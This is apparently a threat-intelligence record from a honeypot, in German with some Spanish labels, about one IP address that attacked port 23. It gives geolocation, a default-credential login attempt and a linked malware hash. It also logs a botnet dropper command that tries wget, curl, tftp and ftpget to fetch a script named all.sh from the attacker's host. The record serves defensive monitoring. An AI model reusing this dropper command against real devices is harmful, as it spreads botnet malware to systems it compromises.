⚠TROYANOSYVIRUS
Aktive Bedrohung • NIEDRIG

165.22.135.80

Erste Erkennung20.1.2026
Letzte Aktivitat20.1.2026
ISPDIGITALOCEAN-ASN
🎯
7
Gesamtangriffe
🔌
1
Ports
📡
1
Angriffsarten
🦠
1
Malware

Geolokalisierung

Land
🇺🇸 Estados Unidos
Stadt
Santa Clara
ASN
AS14061
ISP
DIGITALOCEAN-ASN

Angriffsarten

cowrie

Angegriffene Ports

23

Zugehorige Malware

047ddb6c90acc4bf08ba...→

Versuchte Anmeldedaten

🔐admin/admin
1x

Ausgefuhrte Befehle

$uname -m1x
$cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://165.22.135.80/all.sh || curl -O http://165.22.135.80/all.sh || busybox wget http://165.22.135.80/all.sh || busybox tftp 165.22.135.80 -c get all.sh || busybox tftp -r all.sh -g 165.22.135.80 -l all.sh || busybox ftpget -v -u anonymous -p anonymous -P 21 165.22.135.80 all.sh all.sh || tftp 165.22.135.80 -c get all.sh || tftp -r all.sh -g 165.22.135.80 -l all.sh || ftpget -v -u anonymous -p anonymous -P 21 165.22.135.80 all.sh all.s1x

Risikobewertung

20
/100
NiedrigMittelHochKritisch